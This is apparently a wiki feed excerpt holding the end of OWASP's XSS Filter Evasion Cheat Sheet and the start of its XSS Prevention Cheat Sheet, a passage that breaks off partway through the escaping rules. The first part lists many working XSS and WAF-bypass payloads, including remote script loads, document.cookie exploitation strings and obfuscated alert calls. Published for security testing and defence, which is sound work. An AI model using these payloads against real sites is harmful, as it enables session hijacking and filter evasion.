Another XSS to evade the same filter, &amp;quot;/&amp;lt;script((\s+\w+(\s*=\s*(?:&amp;quot;(.)*?&amp;quot;|'(.)*?'|[^'&amp;quot;&amp;gt;\s]+))?)+\s*|\s*)src/i&amp;quot;:&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;SCRIPT a=&amp;quot;&amp;gt;&amp;quot; '' SRC=&amp;quot;httx://xss.rocks/xss.js&amp;quot;&amp;gt;&amp;lt;/SCRIPT&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Yet another XSS to evade the same filter, &amp;quot;/&amp;lt;script((\s+\w+(\s*=\s*(?:&amp;quot;(.)*?&amp;quot;|'(.)*?'|[^'&amp;quot;&amp;gt;\s]+))?)+\s*|\s*)src/i&amp;quot;. I know I said I wasn't goint to discuss mitigation techniques but the only thing I've seen work for this XSS example if you still want to allow &amp;lt;SCRIPT&amp;gt; tags but not remote script is a state machine (and of course there are other ways to get around this if they allow &amp;lt;SCRIPT&amp;gt; tags):&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;SCRIPT &amp;quot;a='&amp;gt;'&amp;quot; SRC=&amp;quot;httx://xss.rocks/xss.js&amp;quot;&amp;gt;&amp;lt;/SCRIPT&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
And one last XSS attack to evade, &amp;quot;/&amp;lt;script((\s+\w+(\s*=\s*(?:&amp;quot;(.)*?&amp;quot;|'(.)*?'|[^'&amp;quot;&amp;gt;\s]+))?)+\s*|\s*)src/i&amp;quot; using grave accents (again, doesn't work in Firefox):&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;SCRIPT a=`&amp;gt;` SRC=&amp;quot;httx://xss.rocks/xss.js&amp;quot;&amp;gt;&amp;lt;/SCRIPT&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Here's an XSS example that bets on the fact that the regex won't catch a matching pair of quotes but will rather find any quotes to terminate a parameter string improperly:&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;SCRIPT a=&amp;quot;&amp;gt;'&amp;gt;&amp;quot; SRC=&amp;quot;httx://xss.rocks/xss.js&amp;quot;&amp;gt;&amp;lt;/SCRIPT&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
This XSS still worries me, as it would be nearly impossible to stop this without blocking all active content:&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;SCRIPT&amp;gt;document.write(&amp;quot;&amp;lt;SCRI&amp;quot;);&amp;lt;/SCRIPT&amp;gt;PT SRC=&amp;quot;httx://xss.rocks/xss.js&amp;quot;&amp;gt;&amp;lt;/SCRIPT&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== URL string evasion ==&lt;br /&gt;
Assuming &amp;quot;http:&amp;amp;#47;&amp;amp;#47;www.google.com/&amp;quot; is pro grammatically disallowed:&lt;br /&gt;
&lt;br /&gt;
=== IP versus hostname ===&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;A HREF=&amp;quot;http:&amp;amp;#47;&amp;amp;#47;66.102.7.147/&amp;quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== URL encoding ===&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;A HREF=&amp;quot;http:&amp;amp;#47;&amp;amp;#47;%77%77%77%2E%67%6F%6F%67%6C%65%2E%63%6F%6D&amp;quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Dword encoding ===&lt;br /&gt;
(Note: there are other of variations of Dword encoding - see the IP Obfuscation calculator below for more details):&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;A HREF=&amp;quot;http:&amp;amp;#47;&amp;amp;#47;1113982867/&amp;quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Hex encoding ===&lt;br /&gt;
The total size of each number allowed is somewhere in the neighborhood of 240 total characters as you can see on the second digit, and since the hex number is between 0 and F the leading zero on the third hex quotet is not required):&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;A HREF=&amp;quot;http:&amp;amp;#47;&amp;amp;#47;0x42.0x0000066.0x7.0x93/&amp;quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Octal encoding ===&lt;br /&gt;
Again padding is allowed, although you must keep it above 4 total characters per class - as in class A, class B, etc...:&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;A HREF=&amp;quot;http:&amp;amp;#47;&amp;amp;#47;0102.0146.0007.00000223/&amp;quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Mixed encoding === &lt;br /&gt;
Let's mix and match base encoding and throw in some tabs and newlines - why browsers allow this, I'll never know). The tabs and newlines only work if this is encapsulated with quotes:&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;A HREF=&amp;quot;h&lt;br /&gt;
tt	p://6&amp;amp;#9;6.000146.0x7.147/&amp;quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Protocol resolution bypass ===&lt;br /&gt;
(// translates to http:// which saves a few more bytes). This is really handy when space is an issue too (two less characters can go a long way) and can easily bypass regex like &amp;quot;(ht|f)tp(s)?://&amp;quot; (thanks to Ozh for part of this one). You can also change the &amp;quot;//&amp;quot; to &amp;quot;\\&amp;quot;. You do need to keep the slashes in place, however, otherwise this will be interpreted as a relative path URL.&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;A HREF=&amp;quot;//www.google.com/&amp;quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Google &amp;quot;feeling lucky&amp;quot; part 1. ===&lt;br /&gt;
Firefox uses Google's &amp;quot;feeling lucky&amp;quot; function to redirect the user to any keywords you type in. So if your exploitable page is the top for some random keyword (as you see here) you can use that feature against any Firefox user. This uses Firefox's &amp;quot;keyword:&amp;quot; protocol. You can concatenate several keywords by using something like the following &amp;quot;keyword:XSS+RSnake&amp;quot; for instance. This no longer works within Firefox as of 2.0. &lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;A HREF=&amp;quot;//google&amp;quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Google &amp;quot;feeling lucky&amp;quot; part 2.===&lt;br /&gt;
This uses a very tiny trick that appears to work Firefox only, because if it's implementation of the &amp;quot;feeling lucky&amp;quot; function. Unlike the next one this does not work in Opera because Opera believes that this is the old HTTP Basic Auth phishing attack, which it is not. It's simply a malformed URL. If you click okay on the dialogue it will work, but as a result of the erroneous dialogue box I am saying that this is not supported in Opera, and it is no longer supported in Firefox as of 2.0:&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;A HREF=&amp;quot;http:&amp;amp;#47;&amp;amp;#47;ha.ckers.org@google&amp;quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Google &amp;quot;feeling lucky&amp;quot; part 3. === &lt;br /&gt;
This uses a malformed URL that appears to work in Firefox and Opera only, because if their implementation of the &amp;quot;feeling lucky&amp;quot; function. Like all of the above it requires that you are #1 in Google for the keyword in question (in this case &amp;quot;google&amp;quot;):&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;A HREF=&amp;quot;http:&amp;amp;#47;&amp;amp;#47;google:ha.ckers.org&amp;quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Removing cnames  ===&lt;br /&gt;
When combined with the above URL, removing &amp;quot;www.&amp;quot; will save an additional 4 bytes for a total byte savings of 9 for servers that have this set up properly):&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;A HREF=&amp;quot;http:&amp;amp;#47;&amp;amp;#47;google.com/&amp;quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Extra dot for absolute DNS:===&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;A HREF=&amp;quot;http:&amp;amp;#47;&amp;amp;#47;www.google.com./&amp;quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== JavaScript link location: ===&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;A HREF=&amp;quot;javascript:document.location='http://www.google.com/'&amp;quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Content replace as attack vector ===&lt;br /&gt;
Assuming &amp;quot;http:&amp;amp;#47;&amp;amp;#47;www.google.com/&amp;quot; is programmatically replaced with nothing). I actually used a similar attack vector against a several separate real world XSS filters by using the conversion filter itself (here is an example) to help create the attack vector (IE: &amp;quot;java&amp;amp;#x26;#x09;script:&amp;quot; was converted into &amp;quot;java&amp;amp;#x09;script:&amp;quot;, which renders in IE, Netscape 8.1+ in secure site mode and Opera):&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;A HREF=&amp;quot;http://www.google.com/ogle.com/&amp;quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Character escape sequences ==&lt;br /&gt;
All the possible combinations of the character &amp;quot;&amp;lt;&amp;quot; in HTML and JavaScript. Most of these won't render out of the box, but many of them can get rendered in certain circumstances as seen above.&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;&lt;br /&gt;
 %3C&lt;br /&gt;
 &amp;amp;amp;lt&lt;br /&gt;
 &amp;amp;amp;lt;&lt;br /&gt;
 &amp;amp;amp;LT&lt;br /&gt;
 &amp;amp;amp;LT;&lt;br /&gt;
 &amp;amp;amp;#60&lt;br /&gt;
 &amp;amp;amp;#060&lt;br /&gt;
 &amp;amp;amp;#0060&lt;br /&gt;
 &amp;amp;amp;#00060&lt;br /&gt;
 &amp;amp;amp;#000060&lt;br /&gt;
 &amp;amp;amp;#0000060&lt;br /&gt;
 &amp;amp;amp;#60;&lt;br /&gt;
 &amp;amp;amp;#060;&lt;br /&gt;
 &amp;amp;amp;#0060;&lt;br /&gt;
 &amp;amp;amp;#00060;&lt;br /&gt;
 &amp;amp;amp;#000060;&lt;br /&gt;
 &amp;amp;amp;#0000060;&lt;br /&gt;
 &amp;amp;amp;#x3c&lt;br /&gt;
 &amp;amp;amp;#x03c&lt;br /&gt;
 &amp;amp;amp;#x003c&lt;br /&gt;
 &amp;amp;amp;#x0003c&lt;br /&gt;
 &amp;amp;amp;#x00003c&lt;br /&gt;
 &amp;amp;amp;#x000003c&lt;br /&gt;
 &amp;amp;amp;#x3c;&lt;br /&gt;
 &amp;amp;amp;#x03c;&lt;br /&gt;
 &amp;amp;amp;#x003c;&lt;br /&gt;
 &amp;amp;amp;#x0003c;&lt;br /&gt;
 &amp;amp;amp;#x00003c;&lt;br /&gt;
 &amp;amp;amp;#x000003c;&lt;br /&gt;
 &amp;amp;amp;#X3c&lt;br /&gt;
 &amp;amp;amp;#X03c&lt;br /&gt;
 &amp;amp;amp;#X003c&lt;br /&gt;
 &amp;amp;amp;#X0003c&lt;br /&gt;
 &amp;amp;amp;#X00003c&lt;br /&gt;
 &amp;amp;amp;#X000003c&lt;br /&gt;
 &amp;amp;amp;#X3c;&lt;br /&gt;
 &amp;amp;amp;#X03c;&lt;br /&gt;
 &amp;amp;amp;#X003c;&lt;br /&gt;
 &amp;amp;amp;#X0003c;&lt;br /&gt;
 &amp;amp;amp;#X00003c;&lt;br /&gt;
 &amp;amp;amp;#X000003c;&lt;br /&gt;
 &amp;amp;amp;#x3C&lt;br /&gt;
 &amp;amp;amp;#x03C&lt;br /&gt;
 &amp;amp;amp;#x003C&lt;br /&gt;
 &amp;amp;amp;#x0003C&lt;br /&gt;
 &amp;amp;amp;#x00003C&lt;br /&gt;
 &amp;amp;amp;#x000003C&lt;br /&gt;
 &amp;amp;amp;#x3C;&lt;br /&gt;
 &amp;amp;amp;#x03C;&lt;br /&gt;
 &amp;amp;amp;#x003C;&lt;br /&gt;
 &amp;amp;amp;#x0003C;&lt;br /&gt;
 &amp;amp;amp;#x00003C;&lt;br /&gt;
 &amp;amp;amp;#x000003C;&lt;br /&gt;
 &amp;amp;amp;#X3C&lt;br /&gt;
 &amp;amp;amp;#X03C&lt;br /&gt;
 &amp;amp;amp;#X003C&lt;br /&gt;
 &amp;amp;amp;#X0003C&lt;br /&gt;
 &amp;amp;amp;#X00003C&lt;br /&gt;
 &amp;amp;amp;#X000003C&lt;br /&gt;
 &amp;amp;amp;#X3C;&lt;br /&gt;
 &amp;amp;amp;#X03C;&lt;br /&gt;
 &amp;amp;amp;#X003C;&lt;br /&gt;
 &amp;amp;amp;#X0003C;&lt;br /&gt;
 &amp;amp;amp;#X00003C;&lt;br /&gt;
 &amp;amp;amp;#X000003C;&lt;br /&gt;
 \x3c&lt;br /&gt;
 \x3C&lt;br /&gt;
 \u003c&lt;br /&gt;
 \u003C&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
= Methods to Bypass WAF – Cross-Site Scripting =&lt;br /&gt;
&lt;br /&gt;
General issues&amp;lt;br&amp;gt;&lt;br /&gt;
• Stored XSS&lt;br /&gt;
&lt;br /&gt;
If an attacker managed to push XSS through the filter, WAF wouldn’t be able to prevent the attack conduction.&amp;lt;br&amp;gt;&lt;br /&gt;
• Reflected XSS in Javascript&lt;br /&gt;
  Example: &amp;lt;script&amp;gt; ... setTimeout(\&amp;quot;writetitle()\&amp;quot;,$_GET[xss]) ... &amp;lt;/script&amp;gt;&lt;br /&gt;
  Exploitation: /?xss=500); alert(document.cookie);//&lt;br /&gt;
• DOM-based XSS&lt;br /&gt;
  Example: &amp;lt;script&amp;gt; ... eval($_GET[xss]); ... &amp;lt;/script&amp;gt;&lt;br /&gt;
  Exploitation: /?xss=document.cookie&lt;br /&gt;
&amp;lt;b&amp;gt;XSS via request Redirection.&amp;lt;/b&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
• Vulnerable code:&lt;br /&gt;
  ...&lt;br /&gt;
  header('Location: '.$_GET['param']);&lt;br /&gt;
  ...&lt;br /&gt;
As well as:&lt;br /&gt;
  ...&lt;br /&gt;
  header('Refresh: 0; URL='.$_GET['param']);&lt;br /&gt;
  ...&lt;br /&gt;
• This request will not pass through the WAF:&lt;br /&gt;
  /?param=javascript:alert(document.cookie)&lt;br /&gt;
• This request will pass through the WAF and an XSS attack will be conducted in certain browsers.&lt;br /&gt;
  /?param=data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4=&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;b&amp;gt;WAF ByPass Strings for XSS.&amp;lt;/b&amp;gt;&lt;br /&gt;
 &amp;lt;Img src = x onerror = &amp;quot;javascript: window.onerror = alert; throw XSS&amp;quot;&amp;gt;&lt;br /&gt;
 &amp;lt;Video&amp;gt; &amp;lt;source onerror = &amp;quot;javascript: alert (XSS)&amp;quot;&amp;gt;&lt;br /&gt;
 &amp;lt;Input value = &amp;quot;XSS&amp;quot; type = text&amp;gt;&lt;br /&gt;
 &amp;lt;applet code=&amp;quot;javascript:confirm(document.cookie);&amp;quot;&amp;gt;&lt;br /&gt;
 &amp;lt;isindex x=&amp;quot;javascript:&amp;quot; onmouseover=&amp;quot;alert(XSS)&amp;quot;&amp;gt;&lt;br /&gt;
 &amp;quot;&amp;gt;&amp;lt;/SCRIPT&amp;gt;”&amp;gt;’&amp;gt;&amp;lt;SCRIPT&amp;gt;alert(String.fromCharCode(88,83,83))&amp;lt;/SCRIPT&amp;gt;&lt;br /&gt;
 &amp;quot;&amp;gt;&amp;lt;img src=&amp;quot;x:x&amp;quot; onerror=&amp;quot;alert(XSS)&amp;quot;&amp;gt;&lt;br /&gt;
 &amp;quot;&amp;gt;&amp;lt;iframe src=&amp;quot;javascript:alert(XSS)&amp;quot;&amp;gt;&lt;br /&gt;
 &amp;lt;object data=&amp;quot;javascript:alert(XSS)&amp;quot;&amp;gt;&lt;br /&gt;
 &amp;lt;isindex type=image src=1 onerror=alert(XSS)&amp;gt;&lt;br /&gt;
 &amp;lt;img src=x:alert(alt) onerror=eval(src) alt=0&amp;gt;&lt;br /&gt;
 &amp;lt;img  src=&amp;quot;x:gif&amp;quot; onerror=&amp;quot;window['al\u0065rt'](0)&amp;quot;&amp;gt;&amp;lt;/img&amp;gt;&lt;br /&gt;
 &amp;lt;iframe/src=&amp;quot;data:text/html,&amp;lt;svg &amp;amp;#111;&amp;amp;#110;load=alert(1)&amp;gt;&amp;quot;&amp;gt;&lt;br /&gt;
 &amp;lt;meta content=&amp;quot;&amp;amp;NewLine; 1 &amp;amp;NewLine;; JAVASCRIPT&amp;amp;colon; alert(1)&amp;quot; http-equiv=&amp;quot;refresh&amp;quot;/&amp;gt;&lt;br /&gt;
 &amp;lt;svg&amp;gt;&amp;lt;script xlink:href=data&amp;amp;colon;,window.open('https://www.google.com/')&amp;gt;&amp;lt;/script&lt;br /&gt;
 &amp;lt;meta http-equiv=&amp;quot;refresh&amp;quot; content=&amp;quot;0;url=javascript:confirm(1)&amp;quot;&amp;gt;&lt;br /&gt;
 &amp;lt;iframe src=javascript&amp;amp;colon;alert&amp;amp;lpar;document&amp;amp;period;location&amp;amp;rpar;&amp;gt;&lt;br /&gt;
 &amp;lt;form&amp;gt;&amp;lt;a href=&amp;quot;javascript:\u0061lert&amp;amp;#x28;1&amp;amp;#x29;&amp;quot;&amp;gt;X&lt;br /&gt;
 &amp;lt;/script&amp;gt;&amp;lt;img/*%00/src=&amp;quot;worksinchrome&amp;amp;colon;prompt&amp;amp;#x28;1&amp;amp;#x29;&amp;quot;/%00*/onerror='eval(src)'&amp;gt;&lt;br /&gt;
 &amp;lt;style&amp;gt;//&amp;lt;!--&amp;lt;/style&amp;gt; --&amp;gt;*{x:expression(alert(/xss/))}//&amp;lt;style&amp;gt;&amp;lt;/style&amp;gt; &lt;br /&gt;
 &amp;lt;var onmouseover=&amp;quot;prompt(1)&amp;quot;&amp;gt;On Mouse Over&amp;lt;/var&amp;gt;​&lt;br /&gt;
 &amp;lt;img src=&amp;quot;/&amp;quot; =_=&amp;quot; title=&amp;quot;onerror='prompt(1)'&amp;quot;&amp;gt;&lt;br /&gt;
 &amp;lt;a aa aaa aaaa aaaaa aaaaaa aaaaaaa aaaaaaaa aaaaaaaaa aaaaaaaaaa href=j&amp;amp;#97v&amp;amp;#97script&amp;amp;#x3A;&amp;amp;#97lert(1)&amp;gt;ClickMe&lt;br /&gt;
 &amp;lt;script x&amp;gt; alert(1) &amp;lt;/script 1=2&lt;br /&gt;
 &amp;lt;form&amp;gt;&amp;lt;button formaction=javascript&amp;amp;colon;alert(1)&amp;gt;CLICKME&lt;br /&gt;
 &amp;lt;input/onmouseover=&amp;quot;javaSCRIPT&amp;amp;colon;confirm&amp;amp;lpar;1&amp;amp;rpar;&amp;quot;&lt;br /&gt;
 &amp;lt;iframe src=&amp;quot;data:text/html,%3C%73%63%72%69%70%74%3E%61%6C%65%72%74%28%31%29%3C%2F%73%63%72%69%70%74%3E&amp;quot;&amp;gt;&amp;lt;/iframe&amp;gt;&lt;br /&gt;
==Filter Bypass Alert Obfuscation==&lt;br /&gt;
 (alert)(1)&lt;br /&gt;
 a=alert,a(1)&lt;br /&gt;
 [1].find(alert)&lt;br /&gt;
 top[“al”+”ert”](1)&lt;br /&gt;
 top[/al/.source+/ert/.source](1)&lt;br /&gt;
 al\u0065rt(1)&lt;br /&gt;
 top[‘al\145rt’](1)&lt;br /&gt;
 top[‘al\x65rt’](1)&lt;br /&gt;
 top[8680439..toString(30)](1)&lt;br /&gt;
&lt;br /&gt;
= Authors and Primary Editors =&lt;br /&gt;
&lt;br /&gt;
Robert &amp;quot;RSnake&amp;quot; Hansen&lt;br /&gt;
&lt;br /&gt;
= Contributors =&lt;br /&gt;
&lt;br /&gt;
Adam Lange&amp;lt;br/&amp;gt;&lt;br /&gt;
Mishra Dhiraj&lt;br /&gt;
&lt;br /&gt;
= Other Cheatsheets =&lt;br /&gt;
&lt;br /&gt;
{{Cheatsheet_Navigation_Body}}&lt;br /&gt;
[[Category:Cheatsheets]]&lt;br /&gt;
[[Category:Popular]]&lt;br /&gt;
[[Category:OWASP_Breakers]]&lt;br /&gt;
{{TOC hidden}}&lt;/div&gt;</summary>
		<author><name>Peter Mosmans</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=XSS_(Cross_Site_Scripting)_Prevention_Cheat_Sheet&amp;diff=234398</id>
		<title>XSS (Cross Site Scripting) Prevention Cheat Sheet</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=XSS_(Cross_Site_Scripting)_Prevention_Cheat_Sheet&amp;diff=234398"/>
				<updated>2017-10-15T03:22:54Z</updated>
		
		<summary type="html">&lt;p&gt;Peter Mosmans: Grammar correction&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt; __NOTOC__&lt;br /&gt;
&amp;lt;div style=&amp;quot;width:100%;height:160px;border:0,margin:0;overflow: hidden;&amp;quot;&amp;gt;[[File:Cheatsheets-header.jpg|link=]]&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
{| style=&amp;quot;padding: 0;margin:0;margin-top:10px;text-align:left;&amp;quot; |-&lt;br /&gt;
| valign=&amp;quot;top&amp;quot;  style=&amp;quot;border-right: 1px dotted gray;padding-right:25px;&amp;quot; |&lt;br /&gt;
Last revision (mm/dd/yy): '''{{REVISIONMONTH}}/{{REVISIONDAY}}/{{REVISIONYEAR}}''' &lt;br /&gt;
= Introduction  =&lt;br /&gt;
 __TOC__{{TOC hidden}}&lt;br /&gt;
&lt;br /&gt;
This article provides a simple positive model for preventing [[XSS]] using output escaping/encoding properly. While there are a huge number of XSS attack vectors, following a few simple rules can completely defend against this serious attack. This article does not explore the technical or business impact of XSS. Suffice it to say that it can lead to an attacker gaining the ability to do anything a victim can do through their browser.&lt;br /&gt;
&lt;br /&gt;
Both [[XSS#Stored_and_Reflected_XSS_Attacks | reflected and stored XSS]] can be addressed by performing the appropriate validation and escaping on the server-side. [[DOM Based XSS]] can be addressed with a special subset of rules described in the [[DOM based XSS Prevention Cheat Sheet]].&lt;br /&gt;
&lt;br /&gt;
For a cheatsheet on the attack vectors related to XSS, please refer to the [[XSS Filter Evasion Cheat Sheet]]. More background on browser security and the various browsers can be found in the [http://code.google.com/p/browsersec/ Browser Security Handbook].&lt;br /&gt;
&lt;br /&gt;
Before reading this cheatsheet, it is important to have a fundamental understanding of [[Injection Theory]].&lt;br /&gt;
&lt;br /&gt;
== A Positive XSS Prevention Model ==&lt;br /&gt;
&lt;br /&gt;
This article treats an HTML page like a template, with slots where a developer is allowed to put untrusted data. These slots cover the vast majority of the common places where a developer might want to put untrusted data. Putting untrusted data in other places in the HTML is not allowed. This is a &amp;quot;whitelist&amp;quot; model, that denies everything that is not specifically allowed.&lt;br /&gt;
&lt;br /&gt;
Given the way browsers parse HTML, each of the different types of slots has slightly different security rules. When you put untrusted data into these slots, you need to take certain steps to make sure that the data does not break out of that slot into a context that allows code execution. In a way, this approach treats an HTML document like a parameterized database query - the data is kept in specific places and is isolated from code contexts with escaping.&lt;br /&gt;
&lt;br /&gt;
This document sets out the most common types of slots and the rules for putting untrusted data into them safely. Based on the various specifications, known XSS vectors, and a great deal of manual testing with all the popular browsers, we have determined that the rules proposed here are safe.&lt;br /&gt;
&lt;br /&gt;
The slots are defined and a few examples of each are provided. Developers SHOULD NOT put data into any other slots without a very careful analysis to ensure that what they are doing is safe. Browser parsing is extremely tricky and many innocuous looking characters can be significant in the right context.&lt;br /&gt;
&lt;br /&gt;
== Why Can't I Just HTML Entity Encode Untrusted Data? ==&lt;br /&gt;
&lt;br /&gt;
HTML entity encoding is okay for untrusted data that you put in the body of the HTML document, such as inside a &amp;amp;lt;div&amp;gt; tag.  It even sort of works for untrusted data that goes into attributes, particularly if you're religious about using quotes around your attributes.  But HTML entity encoding doesn't work if you're putting untrusted data inside a &amp;amp;lt;script&amp;gt; tag anywhere, or an event handler attribute like onmouseover, or inside CSS, or in a URL.  So even if you use an HTML entity encoding method everywhere, you are still most likely vulnerable to XSS.  '''You MUST use the escape syntax for the part of the HTML document you're putting untrusted data into.'''  That's what the rules below are all about.&lt;br /&gt;
&lt;br /&gt;
== You Need a Security Encoding Library ==&lt;br /&gt;
&lt;br /&gt;
Writing these encoders is not tremendously difficult, but there are quite a few hidden pitfalls. For example, you might be tempted to use some of the escaping shortcuts like \&amp;quot; in JavaScript. However, these values are dangerous and may be misinterpreted by the nested parsers in the browser. You might also forget to escape the escape character, which attackers can use to neutralize your attempts to be safe. OWASP recommends using a security-focused encoding library to make sure these rules are properly implemented.&lt;br /&gt;
&lt;br /&gt;
Microsoft provides an encoding library named the [http://wpl.codeplex.com Microsoft Anti-Cross Site Scripting Library] for the .NET platform and ASP.NET Framework has built-in [http://msdn.microsoft.com/en-us/library/ms972969.aspx#securitybarriers_topic6 ValidateRequest] function that provides '''limited''' sanitization.&lt;br /&gt;
&lt;br /&gt;
The  [[OWASP Java Encoder Project]] provides a high-performance encoding library for Java.&lt;br /&gt;
&lt;br /&gt;
= XSS Prevention Rules = &lt;br /&gt;
&lt;br /&gt;
The following rules are intended to prevent all XSS in your application. While these rules do not allow absolute freedom in putting untrusted data into an HTML document, they should cover the vast majority of common use cases. You do not have to allow '''all''' the rules in your organization. Many organizations may find that '''allowing only Rule #1 and Rule #2 are sufficient for their needs'''. Please add a note to the discussion page if there is an additional context that is often required and can be secured with escaping.&lt;br /&gt;
&lt;br /&gt;
Do NOT simply escape the list of example characters provided in the various rules. It is NOT sufficient to escape only that list. Blacklist approaches are quite fragile.  The whitelist rules here have been carefully designed to provide protection even against future vulnerabilities introduced by browser changes.&lt;br /&gt;
&lt;br /&gt;
== RULE #0 - Never Insert Untrusted Data Except in Allowed Locations ==&lt;br /&gt;
&lt;br /&gt;
The first rule is to '''deny all''' - don't put untrusted data into your HTML document unless it is within one of the slots defined in Rule #1 through Rule #5. The reason for Rule #0 is that there are so many strange contexts within HTML that the list of escaping rules gets very complicated. We can't think of any good reason to put untrusted data in these contexts. This includes &amp;quot;nested contexts&amp;quot; like a URL inside a javascript -- the encoding rules for those locations are tricky and dangerous.  If you insist on putting untrusted data into nested contexts, please do a lot of cross-browser testing and let us know what you find out.&lt;br /&gt;
&lt;br /&gt;
  &amp;amp;lt;script&amp;gt;'''...NEVER PUT UNTRUSTED DATA HERE...'''&amp;lt;/script&amp;gt;   directly in a script&lt;br /&gt;
  &lt;br /&gt;
  &amp;amp;lt;!--'''...NEVER PUT UNTRUSTED DATA HERE...'''--&amp;gt;             inside an HTML comment&lt;br /&gt;
  &lt;br /&gt;
  &amp;amp;lt;div '''...NEVER PUT UNTRUSTED DATA HERE...'''=test /&amp;gt;       in an attribute name&lt;br /&gt;
  &lt;br /&gt;
  &amp;amp;lt;'''NEVER PUT UNTRUSTED DATA HERE...''' href=&amp;quot;/test&amp;quot; /&amp;gt;   in a tag name&lt;br /&gt;
  &lt;br /&gt;
  &amp;amp;lt;style&amp;gt;'''...NEVER PUT UNTRUSTED DATA HERE...'''&amp;lt;/style&amp;gt;   directly in CSS&lt;br /&gt;
&lt;br /&gt;
Most importantly, never accept actual JavaScript code from an untrusted source and then run it. For example, a parameter named &amp;quot;callback&amp;quot; that contains a JavaScript code snippet.  No amount of escaping can fix that.&lt;br /&gt;
&lt;br /&gt;
== RULE #1 - HTML Escape Before Inserting Untrusted Data into HTML Element Content ==&lt;br /&gt;
&lt;br /&gt;
Rule #1 is for when you want to put untrusted data directly into the HTML body somewhere. This includes inside normal tags like div, p, b, td, etc. Most web frameworks have a method for HTML escaping for the characters detailed below. However, this is '''absolutely not sufficient for other HTML contexts.'''  You need to implement the other rules detailed here as well.&lt;br /&gt;
&lt;br /&gt;
  &amp;amp;lt;body&amp;gt;'''...ESCAPE UNTRUSTED DATA BEFORE PUTTING HERE...'''&amp;lt;/body&amp;gt;&lt;br /&gt;
  &lt;br /&gt;
  &amp;amp;lt;div&amp;gt;'''...ESCAPE UNTRUSTED DATA BEFORE PUTTING HERE...'''&amp;lt;/div&amp;gt;&lt;br /&gt;
  &lt;br /&gt;
  any other normal HTML elements&lt;br /&gt;
&lt;br /&gt;
Escape the following characters with HTML entity encoding to prevent switching into any execution context, such as script, style, or event handlers. Using hex entities is recommended in the spec. In addition to the 5 characters significant in XML (&amp;amp;, &amp;lt;, &amp;gt;, &amp;quot;, '), the forward slash is included as it helps to end an HTML entity.&lt;br /&gt;
&lt;br /&gt;
  &amp;amp; --&amp;gt; &amp;amp;amp;amp;&lt;br /&gt;
  &amp;lt; --&amp;gt; &amp;amp;amp;lt;&lt;br /&gt;
